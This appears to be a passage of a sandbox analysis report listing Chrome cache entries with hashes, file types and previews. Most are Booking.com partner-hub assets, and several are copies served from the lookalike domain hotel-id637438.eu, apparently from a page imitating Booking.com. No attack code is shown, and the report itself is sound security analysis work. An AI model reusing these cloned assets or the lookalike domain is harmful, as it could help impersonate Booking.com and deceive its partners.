SHA-256:	20027B9F02E9E458181B66B9E39B0A2DCAE53B26EEEF3E98A03D834DD65566FF
SHA-512:	802B8D5A9D4253CE8DDBD5341B4BFCCE9FDA18266BCA6CEF76E00522424E4BBD5BBC038A58F9E8ABCA761E75AD9F7BFA6A6818740059E4F1C122BFCAB4709953
Malicious:	false
Reputation:	low
Preview:	RIFFZ...WEBPVP8X...........l..ALPH"............i..i.fY.f.^...m.m^.m...>.}.fy.\|/._..t..E..Pj..4:);q.d.j...."0...:Y..x..e.u&iY.)......j..#d...o..;Y...(.q...o[Y...h..........6OJ5....=h.F.fm......U.......+Hp.g.Y....N?.....U79.E>..o4.h...LQ\|m........".Y.;..5p!.....q.g.X......K....c.5?.;h....q'M_kW..8..}g.......k.W.n.I#.".....9a<%.i.(tOy.....Qo.2h...$a...5.....Q.N..t..z(.....FE.U;.g..'.mA/X..b...Y.....>+...6.M2.....E{G.=......5.....0.Oh....."...}.m.\|3..FW..ER.Q.5.c....-.f.B....,k@.v..E......t(..b.......&.7..d<..Z".5.#.gr..J.B!'C..QyR}e.a..r...n.z.7.M$.Z..Z#...Wd.W].[..+.e....)..+f.%..2.O.#..8....W..9.....b#.V\~Fs...{.2.....R..R.&...d..9.+c.b...0....[. ..m....(..Wd.g....L..JSy....Zz.%...[u9".b..'....\.N.c...{1.G.d's..._..Gs..rD.m.=..a.a.....9..?`IA...........g/.~.=.......8Rx2...ir.=~..(;.....4H....t.....O..M...>.P.R..).._....x....<.3.NZph...nx.$..f<.r \|....C..p.w ..C.!.....G.iS.a...!..c\|.a7.z..}..A..P.2...9..,....`. jtS.x.D...[......6........

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (396)
Category:	downloaded
Size (bytes):	397
Entropy (8bit):	5.070550779198727
Encrypted:	false
SSDEEP:	12:qXfWEZZq19nfGTE6eH+pib+nLDf16AghO/1J9EVkqKLo24nyD:8eEvqffP6q+pLX1yO/394TOojm
MD5:	889FACB2302E23B22AC69BBECD36961B
SHA1:	F26F7CDF7AE4AF91C478E9A873A3C43B93001E51
SHA-256:	FEBFE29A17D9835307EAE8D99B8302BD83FA9A4635AAF2C0E0DE571593798811
SHA-512:	C6D70F5D56FDDBE21000EB9EF7BE38F967A8CE337960B5AE265CB3D783D37FC6831DCEFA144F15C09078EB300D3F45C4D4B734AF264DE703CF8ADA4BE2F18C12
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/themes/custom/booking/js/dist/buiInitComponents.min.js?sgbr22
Preview:	.(function($,Drupal,window,once){Drupal.behaviors.buiInitComponents={attach:function attach(){var profileBlock=$('.block-activity-feed-user, .block-follow-user');var checkExist='';$(once('buiInitComponents',profileBlock)).each(function(){checkExist=setInterval(function(){if(window.BUI!==undefined){window.BUI.initComponents();clearInterval(checkExist);}},100);});}};})(jQuery,Drupal,window,once);

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUHaaatrllH5:aB
MD5:	81144D75B3E69E9AA2FA3E9D83A64D03
SHA1:	F0FBC60B50EDF5B2A0B76E0AA0537B76BF346FFC
SHA-256:	9B9265C69A5CC295D1AB0D04E0273B3677DB1A6216CE2CCF4EFC8C277ED84B39
SHA-512:	2D073E10AE40FDE434EB31CBEDD581A35CD763E51FB7048B88CAA5F949B1E6105E37A228C235BC8976E8DB58ED22149CFCCF83B40CE93A28390566A28975744A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............,..............;

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6699)
Category:	downloaded
Size (bytes):	39786
Entropy (8bit):	5.605668209123808
Encrypted:	false
SSDEEP:	768:pHDdtRTQneQMBWq/TkVwvn9SeUv2TsjsPO4Q5U0floAAsEfX8qgIJWbeLKMB//V:pHDdtRTQneQMBWq/TkVwvn9SeUuTsAPn
MD5:	76F4CFE389EA593CF33909BBCEDB7949
SHA1:	C4D27B95C7E2E9A74F4E8366D2A9873E323E7AA8
SHA-256:	950D7028921F91F48D3242B0EACE0B1A0BE2E3290714014A3025953C44FACB32
SHA-512:	04766BD98E0C7B088707483FDE694D47C69CFD18932B7044922E8BE5CEDA060652ED29985ED5EC312F7B21420911C600678CDE59F7B9CE522D3FD8F5D8F4BACF
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/asset.76f4cfe389ea593cf33909bbcedb7949.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(k,m,l){if(l.get\|\|l.set)throw new TypeError("ES3 does not support getters and setters.");k!=Array.prototype&&k!=Object.prototype&&(k[m]=l.value)};$jscomp.getGlobal=function(k){return"undefined"!=typeof window&&window===k?k:"undefined"!=typeof global&&null!=global?global:k};$jscomp.global=$jscomp.getGlobal(this);.$jscomp.polyfill=function(k,m,l,d){if(m){l=$jscomp.global;k=k.split(".");for(d=0;d<k.length-1;d++){var a=k[d];a in l\|\|(l[a]={});l=l[a]}k=k[k.length-1];d=l[k];m=m(d);m!=d&&null!=m&&$jscomp.defineProperty(l,k,{configurable:!0,writable:!0,value:m})}};$jscomp.polyfill("Array.prototype.fill",function(k){return k?k:function(k,l,d){var a=this.length\|\|0;0>l&&(l=Math.max(0,a+l));if(null==d\|\|d>a)d=a;d=Number(d);0>d&&(d=Math.max(0,a+d));for(l=Number(l\|\|0);l<d;l++)this[l]=k;return this}},"es6-impl","es3");.(function(){function k(d,a,c){d[a]=d[a]\|\|c}var m="undefined"!==type

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	81
Entropy (8bit):	4.3493440438682995
Encrypted:	false
SSDEEP:	3:yionv//thPltXlfMLts0NyWn/NG8bp:6v/lhP/ZMRHNyWn/NG8bp
MD5:	1B6D2DE2867A3E11063BA25AA1CD4209
SHA1:	BD20B0E089F31F35CBA4D0FA7277E73AA74D944C
SHA-256:	95518CBEC0D55A574A9C8EF72A2A7D62AC0D40A4DE5DFE67A76A7D214DC8B743
SHA-512:	D30AC99B9140393CB2EA8EB09F0C69F6107CA5940DDF208B5EC1DD6D5ABDAB37FC60A892AA397579DA75B450965ADE6D37EE84C55550B42DD86F7AA26D99AB88
Malicious:	false
Reputation:	low
URL:	https://asanalytics.booking.com/fp/clear.png
Preview:	.PNG........IHDR.............."......sRGB.........IDAT..c`.......c*......IEND.B`.

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	5506
Entropy (8bit):	7.952906927060574
Encrypted:	false
SSDEEP:	96:lmNYS2CUBaqOJD7KfMcT0P9svRueUGj5m40QmvL21Q9Z/K:wNYPaqOJn8McT0CvR55m4vo2+y
MD5:	132FB9DC8ED343849F2C50209E51E4F2
SHA1:	F1FFF579A12E1A0C4C8F0AD96BC598B29E3EC191
SHA-256:	35E76D50871FFC428B4CCF4DAC17A6C3F4849C7ECBE4E4A4AA767633015002D3
SHA-512:	DF6423BFAB4EE77C07732954D6772F1CC0823CD3E887D095DBB8F07B5467CFD2B8BDA14AD37A480E5F382F607AB24DC80A564090E608B00723626E57ABB96E46
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/events%404x.png.webp?itok=fwXvwvVL
Preview:	RIFFz...WEBPVP8X...........d..ALPHx......l..z......D$........[%......+....K.. .....A$l...{/.w....$H.4...ax.8.+3.....@$.....m....,<..... .."...x.w.h.F$.\a.^..l.p!..o..qYs.O.<..a....?..).p/...,....@...Z....+3.'......O.{,E&}.....vo.. '..)0.(~.oH..,.f.U:..$..Z }..`.nOa.....t..?7.z.....ta.......P.vv...y..B.t..f#3(...1.........7.4Q...a.../.m.....&...#904tN]p..Q\|..[.+^.].gt..^;....?~....i...c.]..T.d..>.E....+U.Z.../.-R... m....c..E..{...V../..8.4.tkc...z-`.igH.G....J...}...%....<.<L+.W....?E....'Y...q...C.Ip.<.8.r..c.....8..L........<.i&...T....s....U' ........l`....Sy...lu..k,...v(.3U.... ^f.X..u.T....'...............Z.)u...c..n.R...\..r.A<.,..>...5.D.>[..ozm.s..o..5.U=H..{.....<.R.ij]5....<.!..e.na...M.l.......J.`.....fb..,#.gtR5Qf........I...O+-..E....67.~...\|....@.....k\|.........).&Q.~..,Zm.....OV.~.Y.6....\z.H.o)=.b.$4\..9..f...-D..........o.9#m.........K/....rP..&. dF3...t.Q.S`.MD....}.Q.!..m7...$.d..+&....P...Y;2.]j....}...U..M..I:.a..x.%

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 1078
Category:	downloaded
Size (bytes):	592
Entropy (8bit):	7.629546406181614
Encrypted:	false
SSDEEP:	12:Xj897RMy9zcOXwuUSo+8fidbba/ki9D+yhgd3Mc78qJsh:XI97RKowTz++i6/kjyG3Mc4SE
MD5:	A1CCA45D5E0EB469851C20602367AED2
SHA1:	C2CB4A6DE94E2686227628ADD6532AACB6BB69D1
SHA-256:	0CDAF63F115089B109E5CBD090B78BD8E28CA6E81EF51A245EFB5556C533C9E6
SHA-512:	921ED8F785B71324A83AB6596291D29AA2D28A99E715F055F3621CEF9ED334A4146D9270DB7388B5AAF719229DCDC764B1613B534387DF3FC603F2BF94BE6A53
Malicious:	false
Reputation:	low
URL:	https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Preview:	...........SM..0...+....uH......M..i.&..S..t.P<..X.{.&K.v/EH.of.\|...-.w.._.v..ln...'RDs. A ..X...& wE.2...TJb..- .`..=;LD.$.5..w...I....NH..-..$8.....Q2.h\.!.ENY..N2..U.QP...xP.ZD....Qqt."....J...{.......E...Y/9.$.&K'..q.\|.?...J7. .w!.$.U.uiL....}..Q...35g...O.........n..@.(.......^...vts3.!. [..X3k...1h..H......:....LY'..Kh^g.G........E....jy..U.M.ae..&...*5Tu..W..{....sy...$e..mz..../~....Jp,H...Z3.I......1>.Y...y....P..s.,...R(,jt.k2.O..<3......H?S.....]1c...P...Q......Q.l0.T.N........1?X...01^..9.E.a..d....tr..g(:t.....wEx.q.%hg.y.?.W...,.o.\|..I7.<6...

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 19 tables, 1st "DSIG", 39 names, Macintosh, Copyright 2018 IBM Corp. All rights reserved.IBM Plex SansRegular3.3;IBM ;IBMPlexSansVersion 3.3
Category:	downloaded
Size (bytes):	180440
Entropy (8bit):	5.711370898512645
Encrypted:	false
SSDEEP:	3072:FNYLp1S58g2HmXAyxc2QwQdGjmxymoAsv:/YCpFXFxc2QwQdNoAsv
MD5:	D2AC4D984B36B772A3B08736889192A7
SHA1:	60EF66E01C47FC659548FB13A9A64D4AA8036545
SHA-256:	24DD81D879C0899B48322F9E8434FC924B972948C7A258032C5A92A4B49B4725
SHA-512:	8AE06AAF46A816B61570058D287AF75C9ADB1775EA0F0814CDAC23E44DC38FBA44A1529FD0B5F6DB7C2AC8036352410AC1FCAC20949ACEA697C87C93C94E07AB
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Regular.2c412e2f77ae69aa2154613095be7130.ttf
Preview:	...........0DSIG............GDEF..a...\|....GPOSS......,....GSUB5...........OS/2.CjT.......`cmap...........Rcvt .m.........>fpgm.Y.7.......sgasp...!...l....glyf......%.....head.......<...6hhea.......t...$hmtx..........loca;..&...\...Fmaxp........... meta6.<!.......DnamerH.H........post..#.........prep.......h..............._.<............v......Y......._.......................................................T...b...............<.......M.........X...K...X...^.<.5................P. ;........IBM .@.......$.,.... .............. ..... ...............,.D.2.D.U.../.D.2.%./.D.....+.D.2...+.8.U...L.......U...U.i.U.8.U.0./.D.U.D.2.o.U...$._...8.P...................!.......].m.:...].G.]./.]...:...]...<.....z.]...].,.]...]...:.^.]...:...].E..<.....X.a...{...e...Q...D.$.X.<.X.<.X.<.X.3.X.E.X..X.&.X.M.X.C.X.E.X.:.X.C...H.{.A...E...E.L.$...$.5.....K.#.K.$.U...'.$.1.$.1...U...U...G...,...G...,...#...#.0.$.0.4...$...4...Q...Q...%.....O.S.O...=.].=.<.W...W.<.......(...5...5...A...A.:.{.:.{.J.L...4

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1466
Entropy (8bit):	4.193771402390682
Encrypted:	false
SSDEEP:	24:trUfvj3tQiR7cRNRTaocR+fSucYvvtG2rFoBR3UFkA6ERjURqRDSpRwSjGlMOn36:afbaiR7cRNRTaocR+RtvM2rcEOHER4Rv
MD5:	7BCD5188EDDC64B35B9613BFA05510FE
SHA1:	7CA969E18F1BA769654572A20E3164FBDEEEDE0A
SHA-256:	9B35CFE1AB2B65ED07FC16C23FF61C65401BFDFC86E3D5CF747E04B3543416CB
SHA-512:	685DE59A0C705B654576A6D94B7FC1EC3495CA90F52251A1B04F3DDD67B3812A371996162E7909197C8B79DAA694FE77D7937E1DD24AEFDF13D08F06A80C86AE
Malicious:	false
Reputation:	low
Preview:	<svg data-icon-name="tip" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path fill="#ffb700" d="M12.75 2.251v-1.5a.7498.7498 0 00-1.2803-.5303.7498.7498 0 00-.2197.5303v1.5a.7498.7498 0 001.2803.5303.7498.7498 0 00.2197-.5303zm6.144 3.167l1.061-1.06a.75.75 0 00-1.06-1.061l-1.061 1.06a.75.75 0 001.06 1.061zM21 12.001h1.5a.7497.7497 0 00.75-.75.7497.7497 0 00-.75-.75H21a.7497.7497 0 00-.75.75.7497.7497 0 00.75.75zm-3.166 6.144l1.06 1.061a.7508.7508 0 00.5328.2292.7499.7499 0 00.5282-1.2892l-1.06-1.061a.7508.7508 0 00-.5328-.2292.7499.7499 0 00-.5282 1.2892zM6.166 4.358l-1.06-1.061a.75.75 0 00-1.061 1.06l1.06 1.061a.75.75 0 001.061-1.06zM3 10.5H1.5a.7498.7498 0 00-.5303 1.2803A.7498.7498 0 001.5 12H3a.7498.7498 0 00.5303-1.2803A.7498.7498 0 003 10.5zm2.106 6.584l-1.061 1.06a.7506.7506 0 00-.1735.8234.7505.7505 0 00.7004.4663.7508.7508 0 00.5331-.2287l1.061-1.06a.7495.7495 0 00.2292-.5328.7503.7503 0 00-.7561-.7569.7508.7508 0 00-.5331.2287zm3.144-.636v2.3a3

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	462
Entropy (8bit):	4.2333710763063985
Encrypted:	false
SSDEEP:	6:va8GNvF8cqoXF79i8eJOezXXhKvNsTXF79S66Oez114vN8K2GVWRGgGVWR8Swqn:CzFzNFU8eJh0NIF86jN8YVnDVihn
MD5:	EDCBD17FA67E798075463E47A076687A
SHA1:	31A4A083488CF6F65811E68D2914BF2B5AFF3E9A
SHA-256:	AB87EEFE7EA9193D98E0B23FC5A3E76EAE51F91A4A62C56D0AAF662AF21DE704
SHA-512:	C0960FEA7A0464B9DCD3908B59DDDA85ADC2A9D455F7AC6DBC4C96BC6115F94854DF2169E64CBF4CCC11C27D3878044780A876E59AA54D362CFFA4ACB8136872
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/themes/custom/booking/images/favicons/site.webmanifest
Preview:	{. "name": "Booking Partner Hub",. "short_name": "Booking Partner Hub",. "icons": [. {. "src": "android-chrome-192x192.png",. "sizes": "192x192",. "type": "image/png". },. {. "src": "android-chrome-512x512.png",. "sizes": "512x512",. "type": "image/png". }. ],. "theme_color": "#003b95",. "background_color": "#003b95",. "display": "standalone".}.

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	278
Entropy (8bit):	5.2290771528866244
Encrypted:	false
SSDEEP:	6:YMrTT0dKB4/MzP4iwp+IsTM7pdSQiTdXLPqe1vm9lM8EJaPBOQfc4:YoIXaPra+IsA73+XJWAuEQH
MD5:	901B2C0AB4FC768F490258D3D6119D3D
SHA1:	69368BF9506F776841807655730F161A646C7562
SHA-256:	A2BBAF974DC77E68C485C8804A6E1BF79701BE127E1AD7DDBC4BA3A023856A64
SHA-512:	8B542A40360D3660D028F1AE9629173E814E03C34F44C917FE2458E98D0C0D2690C51060B6FCA424376D73918C417D836D1924651266322B2CE23E1694C66066
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/1260644.1562364.json?89b5bf9a6316eb30dcfc5b1f740c76c8
Preview:	{"id":1562364,"name":"Variation 1","modifications":[{"id":5168013,"selector":"","type":"addCSS","value":"#block-secondarynavigation .menu-item.menu-item-level--0 > a[href*=\"join\"]:not(:hover) {\n color: var(--bui_color_complement);\n}"}],"_tagInfo":"2024/07/05 15:13:45 UTC"}

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20716), with no line terminators
Category:	downloaded
Size (bytes):	20716
Entropy (8bit):	5.026539980849418
Encrypted:	false
SSDEEP:	192:pcyle24pvQdkL7x0RQrqlR0x/U13hCjdWo4roVoxVO7+r5f/Mky5mRIjRNWEa3fw:qyXrhqopxE6R3fTRMWQ
MD5:	104E98C3F2411B1CEB03AF2DCCCD8ADE
SHA1:	9B686E31E31CA3208C1D71543E515E4B5EED7CF5
SHA-256:	AA4A2A016C5043607067C762013B700818948EB4A4E85BA7AC718AF311EBFC81
SHA-512:	DD05BB72772F80F4E93CF1D287B48C2F030B0A8AFEA1C29B456CDD7AE4F7D0215E305F24205C99C2F11729DCDF501A29245B7DA5582256101522B8909BD0C37F
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/57_21f66738ac9c52ae5b72.css
Preview:	:root{--bui_easing-slow-in:cubic-bezier(0,0,0.2,1);--bui_easing-slow-out:cubic-bezier(0.4,0,1,1);--bui_easing-slow-in-out:cubic-bezier(0.4,0,0.2,1);--bui_easing-subtle-in:cubic-bezier(0,0,0.2,1);--bui_easing-subtle-out:cubic-bezier(0.4,0,1,1);--bui_easing-subtle-in-out:cubic-bezier(0.4,0,0.2,1);--bui_easing-bounce-in:cubic-bezier(0.6,-0.28,0.735,0.045);--bui_easing-bounce-out:cubic-bezier(0.175,0.885,0.32,1.275);--bui_timing-instant:100ms;--bui_timing-fast:150ms;--bui_timing-deliberate:250ms;--bui_timing-slow:300ms;--bui_timing-slower:600ms;--bui_timing-slowest:1000ms;--bui_timing-paused:1600ms;--bui_color_destructive_dark:#a30000;--bui_color_destructive:#c00;--bui_color_destructive_light:#fcb4b4;--bui_color_destructive_lighter:#ffebeb;--bui_color_destructive_lightest:#fff0f0;--bui_color_callout_dark:#bc5b01;--bui_color_callout:#ff8000;--bui_color_callout_light:#ffc489;--bui_color_callout_lighter:#fff0e0;--bui_color_callout_lightest:#fff8f0;--bui_color_complement_dark:#cd8900;--bui_col

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (396)
Category:	downloaded
Size (bytes):	397
Entropy (8bit):	5.070550779198727
Encrypted:	false
SSDEEP:	12:qXfWEZZq19nfGTE6eH+pib+nLDf16AghO/1J9EVkqKLo24nyD:8eEvqffP6q+pLX1yO/394TOojm
MD5:	889FACB2302E23B22AC69BBECD36961B
SHA1:	F26F7CDF7AE4AF91C478E9A873A3C43B93001E51
SHA-256:	FEBFE29A17D9835307EAE8D99B8302BD83FA9A4635AAF2C0E0DE571593798811
SHA-512:	C6D70F5D56FDDBE21000EB9EF7BE38F967A8CE337960B5AE265CB3D783D37FC6831DCEFA144F15C09078EB300D3F45C4D4B734AF264DE703CF8ADA4BE2F18C12
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/themes/custom/booking/js/dist/buiInitComponents.min.js?sgboa2
Preview:	.(function($,Drupal,window,once){Drupal.behaviors.buiInitComponents={attach:function attach(){var profileBlock=$('.block-activity-feed-user, .block-follow-user');var checkExist='';$(once('buiInitComponents',profileBlock)).each(function(){checkExist=setInterval(function(){if(window.BUI!==undefined){window.BUI.initComponents();clearInterval(checkExist);}},100);});}};})(jQuery,Drupal,window,once);

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1367
Entropy (8bit):	4.606114713423053
Encrypted:	false
SSDEEP:	24:tjnKMCvllHjYTe4LKGczfj94+1XtEHg/QSoUos9nqiol9LKg804QTlWApZEhwoqT:VsjQVGf7VQiostqiobLKQkhc
MD5:	D5F05DB5BC49F3BF280F4540914BA76F
SHA1:	9383B048E654A536F07F29EE5635700570BE83A4
SHA-256:	ED492DB618738A5EAE18115863E97FC8C63945846ED8DB4074DFC6F7CCB90467
SHA-512:	FAB6E9441D04A76A567D0155C16913AEA92A7FDBEE5CCB0E6193A1BAB832CC3D57E3BA194B34295C68988E834012461F4F2F8D9DAB04E80A6CABAC081EC3DCAD
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/themes/custom/booking/images/favicons/favicon.svg
Preview:	<svg clip-rule="evenodd" fill-rule="evenodd" height="64" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="-.092 .015 2732.125 2671.996" width="64" xmlns="http://www.w3.org/2000/svg"><path d="m2732.032 513.03c0-283.141-229.978-513.015-513.118-513.015h-1705.89c-283.138 0-513.116 229.874-513.116 513.015v1645.965c0 283.066 229.978 513.016 513.118 513.016h1705.889c283.14 0 513.118-229.95 513.118-513.016z" fill="#0c3b7c"/><path d="m.001 1659.991h1364.531v1012.019h-1364.53z" fill="#0c3b7c"/><g fill-rule="nonzero"><path d="m1241.6 1768.638-220.052-.22v-263.12c0-56.22 21.808-85.48 69.917-92.165h150.136c107.068 0 176.328 67.507 176.328 176.766 0 112.219-67.507 178.63-176.328 178.739zm-220.052-709.694v-69.26c0-60.602 25.643-89.424 81.862-93.15h112.657c96.547 0 154.41 57.753 154.41 154.52 0 73.643-39.671 159.67-150.903 159.67h-198.026zm501.037 262.574-39.78-22.356 34.74-29.699c40.437-34.74 108.163-112.876 108.163-247.67 0-206.464-160.109-339.614-407.888-339.614h-282.738v-.11h-32.219c-73.

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (515)
Category:	downloaded
Size (bytes):	4983
Entropy (8bit):	5.277268511741918
Encrypted:	false
SSDEEP:	96:1GInbH6vTKvmYDDaLVxL8P9QlhaPr6gVHDf/HKIgG+vylylqn1Dg1juPjai:kIn7+TKVDUiPEhadHDf/Bw6clqn1Dg1y
MD5:	0B203B6737E7348814173F31EFCE0736
SHA1:	B60CA6B9E3D2DD734E85159A9E6C87564AA3C18F
SHA-256:	5446B2D0120DC4737C7593F47B9474B724BBE985B5E5231EB75E5BBBF7762880
SHA-512:	2593E6CCD6267BAC6D7BF3E6A4EBA784C64559FA591E88D46D8F1B2C9B5F74DEE63C9600F89E57493F81369C69DD5904A4903DD3D7E8FA962CF9872584F36219
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/OtAutoBlock.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	!function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.replace(k.substring(l),""):k);if(f&&(-1!==f.indexOf(C)\|\|-1!==d.Tag.indexOf(f))){g=d;break}}return g}(a);return e.CategoryId&&(c=e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");.return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);v.some(function(d){return d===h})&&(g=["C0004"]);return g}(a)),{categoryIds:c,vsCatIds:b}}function w(a){return!a\|\|!a.length\|\|(a&&window.OptanonActiveGroups?a.every(function(c){return-1!==window.OptanonActiveGroups.indexOf(","+c+",")}):void 0)}function m(a,c){void 0===c&&(c=null);var b=window,e=b.OneTrust&&b.OneTrust.IsVendorServiceEnabled;b=e&&b.OneTrust.IsVendorServiceEnabled()

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	4.762820188376248
Encrypted:	false
SSDEEP:	24:hYNspeCCZkpJ4MEz7agcn0LXTF2F76nQtSn8nwz8Xx:vpdBY7agCwTF2F7hx
MD5:	D89B01D392C1A60B64C1EB55CCCD1D9D
SHA1:	35607031083971A862472A2BB37FFB8BF0CDCD2D
SHA-256:	4D8CEAC04A145BE6F8968D458D8226320737D72F6ADA06990BD842C28F8951B6
SHA-512:	E2A195E382E79D1E3EEC8C5E0E6991405B1BE9BAC58909427F0DD7976E819771ED71AFCC5FB7C946D3E7206142DA1505D80580AF4293C1CAB0FABF5C949BF759
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang="en">.<head>.<title>405 - Method Not Allowed</title>.<meta http-equiv="content-type" content="text/html; charset=utf-8" />.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<meta http-equiv="X-UA-Compatible" content="ie=edge">.<link rel="stylesheet" href="https://q.bstatic.com/libs/bui/7.3.1/bui.min.css">.<link rel="stylesheet" href="https://q.bstatic.com/libs/calango/0.500/bui.css">.</head>.<body class="c-body">.<header id="c-header" class="header">.<div class="c-header__main">. <div class="bui-container bui-container--center">. <div class="bui-grid c-header--top">. <div class="bui-grid__column-3">. <a class="c-logo__wrap" href="/">. <span class="c-logo__type">. Bookings_Web_Accounts_Portal. </span>. </a>. </div>. </div>. </div>.</div>.</header>.<div class="bui-container bui-container--center c-main-body c-

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5775)
Category:	downloaded
Size (bytes):	10265
Entropy (8bit):	5.596382684403181
Encrypted:	false
SSDEEP:	192:kIn7+TKVDUbOQHqSrTD01ohanHDf/dw6clqn/Dg1uGi:km+TKVDUbOQHqoDYosnHr/dHc0Dg1uV
MD5:	FCDB4B9DB352ABC6BABF89B7B0E64FCD
SHA1:	92E13C84E92A43A3A1AA11DC559710566BDE91FB
SHA-256:	5DD0E2CAF5FD7EA6EB8AEE38A1E4DE62390D8BBE2A6660843A7EB10DC2D2198A
SHA-512:	7C3C24A93F4B31A6591EF0FF6D82C42B7E9FF98E529DF4DD565D9E4B8074AE80E45BAF52F6905D305620B4F795B91ABD42C37CDAB2BE481D48455565F6487C62
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/OtAutoBlock.js
